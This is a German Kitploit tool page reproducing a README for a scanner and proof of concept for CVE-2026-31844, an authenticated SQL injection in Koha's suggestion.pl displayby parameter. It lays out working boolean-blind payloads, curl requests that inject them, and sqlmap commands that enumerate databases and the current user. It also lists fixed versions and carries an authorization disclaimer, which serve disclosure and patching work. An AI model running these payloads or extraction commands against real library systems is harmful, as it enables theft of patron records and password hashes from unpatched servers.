Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31844 — # Authentifizierter SQL-Injection-Scanner für das Koha-Bibliotheksverwaltungssystem (CVE-2026-31844) Verwendet die boolesche Blindtechnik, um die Schwachstelle zu verifizieren und Daten zu extrahieren. | Kitploit
Tools/GitHubGitHub/mothra-1/cve-2026-31844
SchwachstellenscannerExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubmothra-1/cve-2026-31844

CVE-2026-31844

# Authentifizierter SQL-Injection-Scanner für das Koha-Bibliotheksverwaltungssystem (CVE-2026-31844) Verwendet die boolesche Blindtechnik, um die Schwachstelle zu verifizieren und Daten zu extrahieren.

Repository anzeigen
11vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Koha CVE-2026-31844: Authentifizierte SQL-Injection

Release Python 3.6+ CVE ID License

Überblick

Dieses Repository enthält einen verantwortungsvollen Proof-of-Concept (PoC) für CVE-2026-31844, eine hochriskante authentifizierte SQL-Injection-Schwachstelle im Koha-Bibliotheksverwaltungssystem.

Die Schwachstelle existiert in der Funktion GetDistinctValues in C4/Search.pm, die vom Skript /cgi-bin/koha/suggestion/suggestion.pl aufgerufen wird. Sie kann über den Parameter displayby ausgenutzt werden.

  • Koha-Bug: #41593
  • Fix-Versionen: 26.05.00, 25.11.01, 25.05.07, 24.11.12

Details zur Schwachstelle

Der Parameter displayby im Skript suggestion.pl wird verwendet, um einen tabellenqualifizierten Spaltennamen zu konstruieren, der anschließend an die Funktion GetDistinctValues übergeben wird. Diese Funktion bettet jedoch direkt sowohl den Tabellennamen als auch den Spaltennamen in eine rohe SQL-Abfrage ein, ohne eine Eingabevalidierung oder Parametrisierung durchzuführen. Infolgedessen kann ein Angreifer den Parameter displayby manipulieren, um bösartigen SQL-Code in die Abfrage einzuschleusen. Da die Eingabe nicht bereinigt wird, bevor sie in die SQL-Anweisung aufgenommen wird, führt dieses Verhalten zu einer SQL-Injection-Schwachstelle, die es einem Angreifer ermöglichen kann, beliebige Boolean-Based-Blind-SQL-Befehle auf der Datenbank auszuführen.

root@kitploit:~
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );

Entdecker

Raximov Shukrulloh (Mothra)

Sie können Ihr Ziel dort scannen

Der Scanner verwendet eine Boolean-Based-Blind-Technik, um die Schwachstelle zu verifizieren

Durch das Injizieren von Bedingungsanweisungen in die Spaltennamenposition können wir unterschiedliche HTTP-Antworten beobachten:

  • IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Subquery-Fehler → HTTP 500
  • IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Gültige Abfrage → HTTP 200

Wenn das Ziel für die wahre Bedingung eine 500 und für die falsche Bedingung eine 200 zurückgibt, ist die Schwachstelle bestätigt.

Installation & Verwendung

1. Repository klonen

root@kitploit:~
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner

2. Anforderungen installieren

root@kitploit:~
pip3 install requests

3. Scanner ausführen

Sie müssen gültige Anmeldedaten für ein Koha-Mitarbeiterkonto mit der Berechtigung suggestions bereitstellen.

root@kitploit:~
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password

Für Ziele mit selbstsignierten SSL-Zertifikaten:

root@kitploit:~
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl

4. Beispielausgabe

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║           CVE-2026-31844 — Koha Vulnerability Scanner         ║
║       Authenticated SQLi in suggestion.pl (displayby)         ║
║                 (Responsible Check Only)                      ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!

============================================================
 VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
    [1] Testing baseline request (STATUS)... HTTP 200 (OK)
    [2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
    [3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================

[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 

[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.

Manueller Proof of Concept (PoC)

Sie können die Schwachstelle manuell über curl verifizieren. Authentifizieren Sie sich zunächst an der Koha-Mitarbeiteroberfläche und erfassen Sie Ihr CGISESSID-Cookie.

Wahre Bedingung (gibt HTTP 500 zurück):

root@kitploit:~
curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"

Falsche Bedingung (gibt HTTP 200 zurück):

root@kitploit:~
curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"

5. Ausnutzung über SQLMap

SQLMap unterstützt nativ boolean-basierte Blind-Injection. Um die Datenextraktion zu automatisieren, speichern Sie eine gültige authentifizierte HTTP-Anfrage in request.txt. Halten Sie die csrf_token- und CGISESSID-Cookies gültig.

Beispiel request.txt:

root@kitploit:~
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0

Führen Sie SQLMap mit der Boolean-Technik (--technique=B) aus:

root@kitploit:~
# Grundlegende Datenbankextraktion
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs

# Aktuellen Benutzer extrahieren
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user

Oder führen Sie es direkt über die Befehlszeile aus:

root@kitploit:~
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
  --cookie="CGISESSID=your_session_id_here" \
  -p displayby \
  --dbms=mysql \
  --technique=B \
  --current-db

Nach einiger Zeit wird sqlmap das korrekte Payload identifizieren.

Auswirkungen

Wenn diese Schwachstelle nicht gepatcht wird, ermöglicht sie einem authentifizierten Angreifer:

  1. Vertrauliche Informationen zu extrahieren (Benutzerdatensätze, Passwort-Hashes)
  2. Das Datenbankschema aufzulisten
  3. Die Backend-Datenbank vollständig zu kompromittieren

Gegenmaßnahmen

Aktualisieren Sie auf Koha-Version 24.11.12, 25.05.07, 25.11.01 oder 26.05.00 (oder neuer), die einen Fix für diese Schwachstelle enthält.

Danksagungen

Raximov Shukrulloh (Mothra)

Kontakt

Telegram-Bot @MothraContact_bot

Ethische Überlegungen

Dieser Proof of Concept wird ausschließlich zu Bildungs- und Verteidigungszwecken bereitgestellt. Holen Sie immer die entsprechende Genehmigung ein, bevor Sie ein System auf Schwachstellen testen.

Haftungsausschluss

Der Autor ist nicht für jeglichen Missbrauch dieser Informationen verantwortlich. Dieser Proof of Concept sollte nur auf Systemen verwendet werden, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.

Tool herunterladen